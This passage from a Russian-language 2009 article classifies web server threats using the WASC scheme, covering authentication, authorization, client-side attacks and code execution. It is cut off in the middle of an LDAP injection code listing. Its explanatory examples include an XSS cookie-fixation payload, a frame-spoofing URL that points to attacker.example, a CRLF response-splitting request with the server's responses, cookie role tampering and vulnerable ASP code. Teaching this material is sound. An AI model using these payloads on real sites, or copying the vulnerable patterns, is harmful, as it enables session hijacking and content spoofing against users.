Stfw.RuКлассификация угроз безопасности веб‑серверов
🕛 20.09.2009, 14:10
Многие из читателей наверняка обратили свое внимание на то, какую важную роль в анализе рисков играет такой фактор, как угроза. В этой связи будет более чем уместно ознакомиться с перечнем типичных угроз, которые приведены ниже. Настоящая классификация окажется полезна и подготовленным читателям, и тем, кто углубленно интересуется вопросами компьютерной безопасности.Очередной раз выходя в Интернет и привычно набирая в браузере дорогой сердцу адрес, мы убеждаемся снова и снова, что не так уж все и плохо: апокалипсис постоянно кто‑то переносит, а мы живем в мире высоких технологий, и это не может не радовать. Интернет стал для многих из нас настолько привычным, что иногда кто‑нибудь да и допустит мысль о его существовании со времени сотворения мира. Между тем за кажущейся простотой и удобством стоит четкая и отлаженная работа узлов Сети. Было бы наивно полагать, что все совершенно, особенно если речь идет о вещах, сосуществующих в столь динамичной среде. Просматривая горячие двадцатки SANS, предупреждения EEYE, горячий эксклюзив от SecurityLab, убеждаешься снова и снова: безопасность есть процесс, а не состояние.
В рамках данного раздела мы поговорим с вами о безопасности веб‑серверов, а точнее постараемся внести ясность и создать некое подобие современной классификации веб‑угроз. Предпосылки к созданию подобной классификации очевидны. За последние несколько лет индустрия безопасности веб‑приложений адаптировала немалое количество не совсем точных терминов, описывающих уязвимости. Такие названия уязвимостей, как "подделка параметров" (Parameter Tampering), "меж‑сайтовое выполнение сценариев" (Cross‑site Scripting) и "отравление печений" (Cookie Poisoning) (да‑да, именно так), мягко говоря, не совсем точно определяют суть проблемы и возможные последствия атак. Отсутствие четкости в определениях часто вызывает проблемы и взаимонепонимание, даже если стороны согласны с основной идеей.
Когда начинающий специалист безопасности веб‑приложений приступает к обучению, его быстро вводит в заблуждение отсутствие стандартного языка. Подобная ситуация не только не способствует профессиональному овладению предметом, но и замедляет понимание картины в целом. Появление классификации угроз безопасности веб‑приложений является исключительно важным событием в мире IT.
По известным причинам только система знаний, а не ее разрозненный, дискретный вариант, может служить показателем высшей квалификации разработчиков приложений, специалистов в области безопасности, производителей программных продуктов. На основе классификации в дальнейшем могут быть созданы методики обследования приложений, рекомендации по разработке приложений с учетом безопасности, требования к продуктам и службам. Следующая классификация есть результат проработки различных книг, десятков статей и презентаций. У ее истоков стоит Web Application Security Consortium, представители которой создали базу для разработки и популяризации стандартной терминологии описания подобных проблем (www.webappsec.org).
Представленная классификация окажется полезной прежде всего специалистам, хотя в целом материал направлен на широкий круг читателей, интересующихся проблемами компьютерной безопасности.
Классы атак
Современная классификация имеет иерархическую структуру. Классы атак разбиты по пунктам (1; 2 и т. д.) с соответствующими подпунктами (1); 2) и т. д.). Название класса атаки представлено как в русском варианте, так и в английском.
1. Аутентификация (Authentication):
1) подбор (Brute Force);
2) недостаточная аутентификация (Insufficient Authentication);
3) небезопасное восстановление паролей (Weak Password Recovery Validation).
2. Авторизация (Authorization):
1) предсказуемое значение идентификатора сессии (Credential/Session Prediction);
2) недостаточная авторизация (Insufficient Authorization);
3) отсутствие тайм‑аута сессии (Insufficient Session Expiration);
4) фиксация сессии (Session Fixation).
3. Атаки на клиентов (Client‑side Attacks):
1) подмена содержимого (Content Spoofing);
2) межсайтовое выполнение сценариев (Cross‑site Scripting, XSS);
3) расщепление HTTP‑запроса (HTTP Response Splitting).
4. Выполнение кода (Command Execution):
1) переполнение буфера (Buffer Overflow);
2) атака на функции форматирования строк (Format String Attack);
3) внедрение операторов LDAP (LDAP Injection);
4) выполнение команд операционной системы (OS Commanding);
5) внедрение операторов SQL (SQL Injection);
6) внедрение серверных расширений (SSI Injection);
7) внедрение операторов XPath (XPath Injection).
5. Разглашение информации (Information Disclosure):
1) индексирование директорий (Directory Indexing);
2) идентификация приложений (Web Server/Application Fingerprinting);
3) утечка информации (Information Leakage);
4) обратный путь в директориях (Path Traversal);
5) предсказуемое расположение ресурсов (Predictable Resource Location).
6. Логические атаки (Logical Attacks):
1) злоупотребление функциональными возможностями (Abuse of Functionality);
2) отказ в обслуживании (Denial of Service);
3) недостаточное противодействие автоматизации (Insufficient Anti‑automation);
4) недостаточная проверка процесса (Insufficient Process Validation).
Пункт и подчиненные ему подпункты разбиты на разделы. Класс атаки имеет краткое описание и дополняется соответствующим "живым" примером. Ну что ж, начнем по порядку.
Аутентификация
Классифицируем атаки, направленные на обход или эксплуатацию уязвимостей в механизмах реализации аутентификации веб‑серверов.Подбор (Brute Force).Подбор, или просто «брут», как его ласково любят называть хакеры, представляет собой автоматизированный процесс проб и ошибок, основной задачей которого является угадывание имени пользователя, пароля, номера кредитной карты, ключа шифрования и т. д. Многие системы позволяют использовать слабые пароли или ключи шифрования, и пользователи часто выбирают легко угадываемые или содержащиеся в словарях парольные фразы. Трагизм еще и в том, что пользователи намеренно выбирают простые пароли, так как сложные, помимо времени ввода, неудобны еще и тем, что легко забываются. Воспользовавшись данной ситуацией, злонамеренный пользователь может применить электронный словарь (что чаще всего и делается) и попытаться использовать всю мощь содержащихся в нем комбинаций символов в качестве пароля. Если сгенерированный пароль позволяет получить доступ к системе, атака считается успешной, и атакующий может использовать учетную запись.
Подобная техника проб и ошибок может быть с успехом использована для подбора ключей шифрования. В случае использования сервером ключей недостаточной длины злоумышленник может получить используемый ключ, протестировав все возможные комбинации. Существует два вида подбора: прямой и обратный. При прямом подборе используются различные варианты пароля для одного имени пользователя (например, имя пользователя - Lamer, пароли - fuck, world, qwerty, 123321…). При обратном - перебираются различные имена пользователей, а пароль остается неизменным (например, имена пользователей - User, Intel, Sara, Vaviorka…, пароль - 12345678). В системах с миллионами учетных записей вероятность использования различными пользователями одного пароля довольно высока. Несмотря на популярность и высокую эффективность, подбор может занимать несколько часов, дней или лет. Данный вид атак широко используется преимущественно там, где отсутствует блокировка в случае неверного сочетания, - это может быть простой взлом NTLM‑хэшей и т. д.
Недостаточная аутентификация (Insufficient Authentication).Данная уязвимость возникает тогда, когда веб‑сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации. Атаки подобного рода очень часто реализуются посредством интерфейса администрирования через сеть. Чтобы не использовать аутентификацию, некоторые ресурсы по умолчанию «сидят в укромном месте» по определенному адресу, который не указан на основных страницах сервера или других общедоступных ресурсах.
Однако подобный подход не более чем "безопасность через сокрытие". Важно понимать, что несмотря на то что злоумышленник не знает адреса страницы, она все равно доступна через веб. Необходимый URL может быть найден путем перебора типичных файлов и директорий (таких как /admin/)с использованием сообщений об ошибках, журналов перекрестных ссылок или путем простого чтения документации. Подобные ресурсы должны быть защищены адекватно важности их содержимого и функциональных возможностей.
К примеру, многие веб‑приложения по умолчанию используют для административного доступа ссылку в корневой директории сервера (/admin/).Обычно ссылка на эту страницу не фигурирует в содержимом сервера, однако страница доступна с помощью стандартного браузера. Поскольку пользователь или разработчик предполагает, что никто не воспользуется этой страницей, так как ссылки на нее отсутствуют, зачастую реализацией аутентификации пренебрегают. В результате для получения контроля над сервером злоумышленнику достаточно зайти на эту страницу.
Небезопасное восстановление паролей (Weak Password Recovery Validation).
Данная уязвимость реализуется, благодаря тому что веб‑сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей. Часто аутентификация на веб‑сервере требует от пользователя запоминания пароля или парольной фразы. Строгая политика безопасности предусматривает, что только пользователь должен знать пароль, причем помнить его отчетливо. Но, как оно всегда бывает, со временем пароль забывается. Ситуация усложняется еще и тем, что у многих по несколько электронных ящиков.
Примером реализации подобной функции является использование "секретного вопроса", ответ на который указывается в процессе регистрации. Вопрос либо выбирается из списка, либо вводится самим пользователем. Еще один механизм позволяет пользователю указать "подсказку", которая поможет ему вспомнить пароль. Другие способы требуют от пользователя указать часть персональных данных - таких как номер паспорта, домашний адрес, почтовый индекс и т. д., - которые затем будут использоваться для установления личности. После того как пользователь докажет свою идентичность, система отобразит новый пароль или перешлет его по почте. Система восстановления пароля может быть скомпрометирована путем использования подбора, уязвимостей системы или из‑за легко угадываемого ответа на секретный вопрос.
Многие серверы требуют от пользователя указать его электронный адрес в комбинации с домашним адресом и номером телефона. Эта информация может быть легко получена из сетевых справочников. В результате данные, используемые для проверки, не являются большим секретом. Кроме того, эта информация может быть получена злоумышленником с использованием других методов - таких как межсайтовое выполнение сценариев или фишинг. Одно из слабых звеньев, несомненно, - парольные подсказки. Сервер, использующий подсказки для облегчения запоминания паролей, может быть атакован, поскольку подсказки помогают в реализации подбора паролей. Пользователь может использовать стойкий пароль, например "27Пуаро10", с соответствующей подсказкой: "детектив". Атакующий может заключить, что пользовательский пароль состоит из даты рождения и имени любимого автора пользователя. Это помогает сформировать относительно короткий словарь для атаки путем перебора.
Авторизация
Многие сайты разрешают доступ к некоторому содержимому или функциям приложения только определенным пользователям. Доступ для других должен быть ограничен. Используя различные техники, злоумышленник может повысить свои привилегии и получить доступ к защищенным ресурсам.Предсказуемое значение идентификатора сессии (Credential/Session Prediction).
Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей. Подобные атаки выполняются путем предсказания или угадывания уникального идентификатора сессии пользователя. Эта атака, так же как и перехват сессии (Session Hijacking), в случае успеха позволяет злоумышленнику послать запрос веб‑серверу с правами скомпрометированного пользователя. Дизайн многих серверов предполагает аутентификацию пользователя при первом обращении и дальнейшее отслеживание его сессии. Для этого пользователь указывает комбинацию имени и пароля. Вместо повторной передачи имени пользователя и пароля при каждой транзакции веб‑сервер генерирует уникальный идентификатор, который присваивается сессии пользователя. Последующие запросы пользователя к серверу содержат идентификатор сессии как доказательство того, что аутентификация была успешно пройдена. Если атакующий может предсказать или угадать значение идентификатора другого пользователя, это может быть использовано для проведения атаки.
Так, многие серверы генерируют идентификаторы сессии, используя алгоритмы собственной разработки. Подобные алгоритмы могут просто увеличивать значение идентификатора для каждого запроса пользователя. Другой распространенный вариант - использование функции от текущего времени или других специфичных для компьютера данных. Идентификатор сессии сохраняется в cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может выполнить следующие действия:
- подключиться к серверу, используя текущий идентификатор сессии;
- вычислить или подобрать следующий идентификатор сессии;
- присвоить полученное значение идентификатора cookie/скрытому полю формы/URL.
Недостаточная авторизация (Insufficient Authorization).Недостаточная авторизация возникает, когда веб‑сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен. Успешное прохождение аутентификации пользователем вовсе не означает, что он должен получить доступ ко всем функциям и содержимому сервера. Кроме аутентификации, должно быть реализовано разграничение доступа. Процедура авторизации определяет, какие действия может совершать пользователь, служба или приложение. Грамотно построенные правила доступа должны ограничивать действия пользователя согласно политике безопасности. Доступ к важным ресурсам сайта должен быть разрешен только администраторам.
В прошлом многие веб‑серверы сохраняли важные ресурсы в скрытых директориях - таких как /adminили /Log.Если атакующий запрашивал эти ресурсы напрямую, он получал к ним доступ и мог перенастроить сервер, получить доступ к важной информации либо полностью скомпрометировать систему. Некоторые серверы после аутентификации сохраняют в cookie или скрытых полях идентификатор «роли» пользователя в рамках веб‑приложения. Если разграничение доступа основывается на проверке данного параметра без верификации принадлежности к роли при каждом запросе, злоумышленник может повысить свои привилегии, просто модифицировав значение cookie. К примеру, значение cookie: Session Id = 12345678; Role = User заменяется на SessionId = 12345678; Role = Admin.
Отсутствие тайм‑аута сессии (Insufficient Session Expiration).Если для идентификатора сессии или учетных данных не предусмотрен тайм‑аут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации. Это повышает уязвимость сервера для атак, связанных с кражей идентификационных данных. Поскольку протокол HTTP не предусматривает контроль сессии, веб‑серверы обычно используют идентификаторы сессии для определения запросов пользователя. Таким образом, конфиденциальность каждого идентификатора должна быть обеспечена, чтобы предотвратить множественный доступ пользователей с одной учетной записью. Похищенный идентификатор может использоваться для доступа к данным пользователя или осуществления мошеннических транзакций. Отсутствие тайм‑аута сессии увеличивает вероятность успеха различных атак. К примеру, злоумышленник может получить идентификатор сессии, используя сетевой анализатор или уязвимость типа «межсайтовое выполнение сценариев». Хотя тайм‑аут не поможет, в случае если идентификатор будет использован немедленно, ограничение времени действия поможет при более поздних попытках использования идентификатора. В другой ситуации, если пользователь получает доступ к серверу с публичного компьютера (библиотека, интернет‑кафе и т. д.), отсутствие тайм‑аута сессии может позволить злоумышленнику воспользоваться историей браузера для просмотра страниц пользователя. Большое значение тайм‑аута увеличивает шансы подбора действующего идентификатора. Кроме того, увеличение этого параметра ведет к увеличению одновременно открытых сессий, что еще больше повышает вероятность успешного подбора.
При использовании публичного компьютера, когда несколько пользователей имеют неограниченный физический доступ к машине, отсутствие тайм‑аута сессии позволяет злоумышленнику просматривать страницы, посещенные другим пользователем. Если функция выхода из системы просто перенаправляет на основную страницу веб‑сервера, а не завершает сессию, страницы, посещенные пользователем, могут быть просмотрены злоумышленником. Поскольку идентификатор сессии не был отмечен как недействительный, атакующий получит доступ к страницам сервера без повторной аутентификации.
Фиксация сессии (Session Fixation).Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение. В зависимости от функциональных возможностей сервера существует несколько способов зафиксировать значение идентификатора сессии. Для этого могут использоваться атаки типа «межсайтовое выполнение сценариев» или подготовка сайта с помощью предварительного HTTP‑запроса. После фиксации значения идентификатора сессии атакующий ожидает момента, когда пользователь войдет в систему. После входа пользователя злоумышленник использует идентификатор сессии для получения доступа к системе от имени пользователя.
Существуют два механизма управления сессиями на основе идентификаторов. Первый из них - так называемый разрешающий - основан на том, что конкретный идентификатор сессии присваивается браузером. Механизмы второго типа - строгого - функционируют с идентификаторами, сгенерированными сервером. В случае разрешающих механизмов злонамеренный пользователь может выбрать любой идентификатор сессии. При условии отсутствия спецзащиты от фиксации сессии данная атака может быть использована против любого сервера, аутентифицирующего пользователей с помощью идентификатора сессии. Не секрет, что большинство веб‑серверов сохраняют ID в cookie, но это значение также может присутствовать в URL или скрытом поле формы. К сожалению, системы, использующие cookie, являются наиболее уязвимыми.
Большинство известных в настоящий момент вариантов фиксации сессии направлено именно на значение cookie (кстати, не грех будет напомнить, что сохраненные пароли вашего электронного ящика, входа на персональный сайт и прочие сохраняются все в тех же пресловутых cookie, которые можно найти по адресу: and Settings\Username\Cookies). После описанного выше нетрудно догадаться, каким именно образом программы, предназначенные для шпионажа, похищают ваши конфиденциальные данные.
Рассмотрим подробно атаку, направленную на фиксацию сессии. Атака осуществляется в три этапа. На первом этапе злонамеренный пользователь устанавливает на атакуемом сервере так называемую сессию‑заглушку и получает (или выбирает произвольный в зависимости от механизма) от него идентификатор. На втором этапе, собственно, и происходит фиксация сессии, когда злоумышленник передает значение идентификатора сессии‑заглушки браузеру пользователя и фиксирует его идентификатор. Данный пункт реализуется посредством модификации значения cookie с помощью пресловутого XSS.
Следующим шагом атакующего является собственно подключение к сессии. Атакующий ожидает аутентификации пользователя на сервере. После захода пользователя на сайт злоумышленник подключается к серверу, используя зафиксированный идентификатор, и получает доступ к сессии пользователя. Как вы уже поняли, "гвоздем программы" является фиксация ID, которая реализуется посредством следующих действий.
- При наличии уязвимости типа "межсайтовое выполнение сценариев" злоумышленник получает возможность установить определенное значение cookie на стороне клиента посредством следующего кода:
httр://example/<script> document.cookie="sessionid=12 34;%2 0domain=.example.dom"; </ script>.idc.- Второй вариант предусматривает установку нужного значения cookie с помощью тега META. Кроме того, возможна установка cookie с использованием заголовка HTTP‑ответа.
Атаки на клиентов
Следующие подпункты являются описанием атак на пользователей веб‑сервера. Во время посещения сайта между пользователем и сервером устанавливаются доверительные отношения как в технологическом, так и в психологическом аспектах. Говоря простым языком, пользователь ожидает, что сайт предоставит ему легитимное безопасное содержимое. Кроме того, пользователь не ожидает атак со стороны сайта. Эксплуатируя это доверие, злоумышленник может применять различные методы для проведения атак на клиентов сервера.
Подмена содержимого (Content Spoofing).Наверное, многие из читателей встречались с выражением «дефейс сайта». Так вот, дефейс - это грубая подмена содержимого. Однако это не есть самое интересное. В отличие от дефейса, следующий способ подмены не преследует цели обескуражить посетивших сайт нецензурными выражениями. Его задачи другие. Используя определенную технику подмены содержимого, злоумышленник заставляет пользователя поверить, что страницы сгенерированы веб‑сервером, а не переданы из внешнего источника. Как это происходит?
Некоторые веб‑страницы создаются с использованием динамических источников HTML‑кода. К примеру, расположение фрейма
Скрыто
Атакующий может заменить исходное значение параметра framesrc на frame_ src= http://attacker.example/spoof.html.
Когда будет отображаться результирующая страница, в строке адреса браузера пользователя начнет отображаться адрес сервера (foo.example), но на странице также будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент. Получается довольно оригинальная ситуация. Пользователь может и не подозревать, что вводит секретные данные, становящиеся достоянием того, кто умело подделал оригинальную страницу. Задача злонамеренного пользователя, как вы уже догадались, сводится к тому, чтобы он перенаправился по специально созданной ссылке. Последняя в виде спама может быть прислана по электронной почте, системе моментального обмена сообщениями, опубликована на доске сообщений или открыта в браузере пользователя с применением межсайтового выполнения сценариев. В качестве примера реализации данной атаки с успехом подойдет создание ложного пресс‑релиза. Предположим, что веб‑сервер динамически генерирует фреймы на странице с пресс‑релизами компании. Когда пользователь перейдет по ссылке http://foo.exampLe/pr?pg=http://foo.exampLe/pr/01012003.htmL,в его браузер загрузится страница следующего содержания (листинг 1.7).
Листинг 1.7. Код, перенаправляющий пользователя на подложную страницу
<HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC=" http://foo.example/pr/01012003.html> </FRAMESET> </HTML>Приложение pr создает страницу с меню и динамически генерируемым значением тега FRAME SRC. Фрейм pr_content отображает страницу, указанную в параметре pg HTTP‑запроса. Но поскольку атакующий изменил нормальный URL на значениеhttр://foo.example/pr?pg=http://attacker.example/spoofed press_release.html и сервер не проводит проверки параметра pg, результирующий HTML‑код будет иметь следующий вид (листинг 1.8).
Листинг 1.8. Результирующий HTML‑код
<HTML> <FRAMESET COLS="100, *"> <FRAME NAME="pr_menu" SRC="menu.html"> <FRAME NAME="pr_content" SRC=" http://attacker.example/spoofed_press_release.html"> </FRAMESET> </HTML>В результате attacker.example будет выглядеть так, как будто это страница сервера foo.example.
Межсайтовое выполнение сценариев (Cross‑site Scripting или XSS).Наличие уязвимости Cross‑site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Для написания подобного кода обычно используются HTML/JavaScript, но могут быть применены и VBScript, ActiveX, Java, Flash и др. Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя текущие привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера (здесь совсем не грех будет вспомнить, что, если вы работаете с правами администратора, шансов попасться на такой крючок больше). При данном виде атаки у атакованного пользователя может быть скомпрометирована учетная запись (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Передача кода в таких случаях осуществляется через URL, в заголовках HTML‑запроса (cookie, user‑agent, refferer), значениях полей форм и т. д. Существует два типа атак, приводящих к межсайтовому выполнению сценариев:
- постоянные (сохраненные);
- непостоянные (отраженные).
Основным различием между ними является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляются в рамках одного HTTP‑запроса, а в сохраненном - в разных. Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по электронной почте, ICQ и т. д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса, будет передан клиенту и выполнен в его браузере. Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с веб‑интерфейсом и чаты. Что самое интересное в данном случае? Следующее: для атаки пользователю не обязательно переходить по ссылке - достаточно посетить уязвимый сайт!
За примерами далеко ходить не приходится: многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице. К примеру, при переходе по URL http://portaLexample/search?q="fresh beer"пользователю будет отображена страница, содержащая результаты поиска и фразу По вашему запросу fresh beer найдено 0 страниц.Если в качестве искомой фразы будет передан JavaScript‑код, он выполнится в браузере пользователя.
Расщепление HTTP‑запроса (HTTP Response Splitting).Для эксплуатации данной уязвимости злоумышленник должен послать серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа. Второй ответ полностью контролируется злоумышленником, что дает ему возможность подделать ответ сервера. Возможность осуществления атаки возникает, когда сервер возвращает данные, предоставленные пользователем в заголовках HTTP‑ответа. Обычно это происходит при перенаправлении пользователя на другую страницу (коды HTTP 3xx) или когда данные, полученные от пользователя, сохраняются в cookie.
В первой ситуации URL‑адрес, на который происходит перенаправление, является частью заголовка Location HTTP‑ответа, а во втором случае значение cookie передается в заголовке Set‑Cookie. Основой расщепления HTTP‑запроса является внедрение символов перевода строки (CR и LF) таким образом, чтобы сформировать две HTTP‑транзакции, в то время как реально будет происходить только одна. Перевод строки используется, чтобы закрыть первую (стандартную) транзакцию и сформировать вторую пару вопрос/ответ, полностью контролируемую злоумышленником и абсолютно не предусмотренную логикой приложения. В результате успешной реализации этой атаки злоумышленник может выполнить следующие действия.
- Межсайтовое выполнение сценариев.
- Модификация данных кэша сервера‑посредника. Некоторые кэширующие серверы‑посредники (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 и ряд других) сохраняют подделанный злоумышленником ответ на жестком диске и на последующие запросы пользователей по данному адресу возвращают кэшированные данные. Это приводит к замене страниц сервера на клиентской стороне. Кроме этого, злоумышленник может переправить себе значение cookie пользователя или присвоить им определенное значение. Эта атака может быть также направлена на индивидуальный кэш браузера пользователя.
- Межпользовательская атака (один пользователь, одна страница, временная подмена страницы). При реализации этой атаки злоумышленник не посылает дополнительный запрос. Вместо этого используется тот факт, что некоторые серверы‑посредники разделяют одно TCP‑соединение с сервером между несколькими пользователями. В результате второй пользователь получает в ответ страницу, сформированную злоумышленником. Кроме подмены страницы, злоумышленник может также выполнить различные операции с cookie пользователя.
- Перехват страниц, содержащих пользовательские данные. В этом случае злоумышленник получает ответ сервера вместо самого пользователя. Таким образом, он может получить доступ к важной или конфиденциальной информации. Приведу пример JSP‑страницы:
/redir_lang.jsp<% response.sendRedirect("/by_lang.jsp?lang="+ request.getParameter ("lang")); %>
Когда данная страница вызывается пользователем с параметром lang = English, она направляет его браузер на страницу /by_lang.jsp?lang=English.Типичный ответ сервера выглядит следующим образом (используется сервер BEA WebLogic 8.1 SP1) (листинг 1.9).
Листинг 1.9. Ответ сервера на запрос пользователя
HTTP/1.1 302 Moved Temporarily Date: Wed, 24 Dec 2003 12:53:28 GMT Location: http://10.1.1.1/by_lang.jsp?lang=English Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with Content‑Type: text/html Set‑Cookie: JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj ApqwBE! - 1251019693; path=/ Connection: Close <html><head><title>302 Moved Temporarily</title></head> <body bgcolor="#FFFFFF"> <p>This document you requested has moved temporarily.</p> <p>It's now at <a href="httр://10.1.1.1/by_lang.jsp?lang=English">httр://10.1.1.1/by_lang.jsp?lan g=English</a>.</p> </body></html> При анализе ответа видно, что значение параметра lang передается в значении заголовка Location. При реализации атаки злоумышленник посылает в качестве значения lang символы перевода строки, чтобы закрыть ответ сервера и сформировать еще один: /redir_lang.jsp?lang=foobar%0d%0aContent‑ Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent‑ Type:%20text/html%0d%0aContent‑ Length:%2019%0d%0a%0d%0a<html>Shazam</html> При обработке этого запроса сервер передаст следующие данные (листинг 1.10). Листинг 1.10. Ответ сервера на измененный злоумышленником запрос пользователя HTTP/1.1 302 Moved Temporarily Date: Wed, 24 Dec 2003 15:26:41 GMT Location: http://10.1.1.1/by_lang.jsp?lang=foobar Content‑Length: 0 HTTP/1.1 200 OK Content‑Type: text/html Content‑Length: 19 Shazam</html> Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003 271009 with Content‑Type: text/html Set‑Cookie: JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST 9UsS! - 1251019693; path=/Эти данные будут обработаны клиентом следующим образом:
- первый ответ с кодом 302 будет командой перенаправления;
- второй ответ (код 200) объемом в 19 байт будет считаться содержимым той страницы, на которую происходит перенаправление;
- остальные данные, согласно спецификации HTTP, игнорируются клиентом. Выполнение кода
Все серверы используют данные, переданные пользователем при обработке запросов. Часто эти данные используются при составлении команд, применяемых для генерации динамического содержимого. Если при разработке не учитываются требования безопасности, злоумышленник получает возможность модифицировать исполняемые команды. В настоящее время выделяют несколько типов атак, направленных на выполнение кода на веб‑сервере.
Переполнение буфера (Buffer Overflow).Переполнение буфера на сегодняшний день является самой распространенной уязвимостью в области безопасности ПО. Первая атака с применением данной уязвимости использовалась в вирусе‑черве Морриса в 1988 году. Червь, созданный студентом Корнельского университета, всего спустя пять часов после активации умудрился инфицировать около 6000 компьютеров - по сегодняшним меркам не очень много, но не будем забывать про год! Среди пострадавших - такие монстры, как Агентство Национальной безопасности и Стратегического авиационного командования США, лаборатории NASA (в частности, в вычислительном центре NASA в Хьюстоне червь попытался взять под контроль систему запуска кораблей многоразового использования Space Shuttle). Помимо прочего, червь успел насытить свои низменные гастрономические пристрастия исследовательским центром ВМС США, Калифорнийским НИИ, крупнейшими университетами страны, а также рядом военных баз, клиник и частных компаний. С тех пор количество способов реализации атак на переполнение буфера только увеличилось.
Эксплуатация переполнения буфера позволяет злоумышленнику изменить путь исполнения программы методом перезаписи данных в памяти системы. Переполнение возникает, когда объем данных превышает размер выделенного под них буфера. Когда буфер переполняется, данные переписывают другие области памяти, что приводит к возникновению ошибки. Если злоумышленник имеет возможность управлять процессом переполнения, это может вызвать ряд серьезных проблем.
Переполнение буфера может вызывать отказы в обслуживании, приводя к повреждению памяти и вызывая ошибки в программах. Более серьезные ситуации позволяют изменить путь исполнения программы и выполнить в ее контексте различные действия. Это может происходить в нескольких случаях.
Используя переполнение буфера, можно перезаписывать служебные области памяти, например адрес возврата из функций в стеке. Кроме того, при переполнении могут быть переписаны значения переменных в программе.
Переполнение буфера является наиболее распространенной проблемой в безопасности и нередко затрагивает веб‑серверы. Однако атаки, эксплуатирующие эту уязвимость, используются против веб‑приложений не очень часто. Причина этого кроется в том, что атакующему, как правило, необходимо проанализировать исходный код или образ программы. Поскольку атакующему приходится эксплуатировать нестандартную программу на удаленном сервере, он вынужден атаковать "вслепую", что снижает шансы на успех.
Переполнение буфера обычно возникает при создании программ на языках C и C++. Если часть сайта создана с использованием этих языков, сайт может быть уязвим для этой атаки.
Атака на функции форматирования строк (Format String Attack).При использовании этих атак путь исполнения программы модифицируется методом перезаписи областей памяти с помощью функций форматирования символьных переменных. Уязвимость возникает, когда пользовательские данные применяются в качестве аргументов функций форматирования строк, таких как fprintf, printf, sprintf, setproctitle, syslog и т. д. Если атакующий передает приложению строку, содержащую символы форматирования (%f, %p, %n и т. д.), то у него появляется возможность:
- выполнять произвольный код на сервере;
- считывать значения из стека;
- вызывать ошибки в программе/отказ в обслуживании.
Вот пример: предположим, веб‑приложение хранит параметр emailAddress для каждого пользователя. Это значение используется в качестве аргумента функции printf: printf(emailAddress). Если значение переменной emailAddress содержит символы форматирования, то функция printf будет обрабатывать их согласно заложенной в нее логике. Поскольку дополнительных значений этой функции не передано, будут использованы значения стека, хранящие другие данные.
Возможны следующие методы эксплуатации атак на функции форматирования строк.
- Чтение данных из стека. Если вывод функции printf передается атакующему, он получает возможность чтения данных из стека, используя символ форматирования %x.
- Чтение строк из памяти процесса. Если вывод функции printf передается атакующему, он может получать строки из памяти процесса, передавая в параметрах символ %s.
- Запись целочисленных значений в память процесса. Используя символ форматирования %n, злоумышленник может сохранять целочисленные значения в памяти процесса. Таким образом можно перезаписать важные значения, например флаги управления доступом или адрес возврата.
Внедрение операторов LDAP (LDAP Injection).Атаки этого типа направлены на веб‑серверы, создающие запросы к службе LDAP на основе данных, вводимых пользователем. Упрощенный протокол доступа к службе каталога (Lightweight Directory Access Protocol, LDAP) - открытый протокол для создания запросов и управления службами каталога, совместимыми со стандартом X.500. Протокол LDAP работает поверх транспортных протоколов Интернет (TCP/UDP). Веб‑приложение может использовать данные, предоставленные пользователем для создания запросов по протоколу LDAP при генерации динамических веб‑страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать LDAP‑запрос. Причем запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб‑сервер и т. д.). Если данный компонент имеет права на чтение или модификацию данных в структуре каталога, злоумышленник получает те же возможности. В листинге 1.11 представлен пример кода, который может быть подвержен атаке данного вида.
Листинг 1.11. Уязвимый код с комментариями
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request. Please specify a valid user name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) + ")" " searching for the user entry
line 19:
line 20:
line 21: "Creating the LDAP object and setting the base dn
line 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
line 23: ldapObj.ServerName = LDAP_SERVER
line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26: 'Setting the search filter
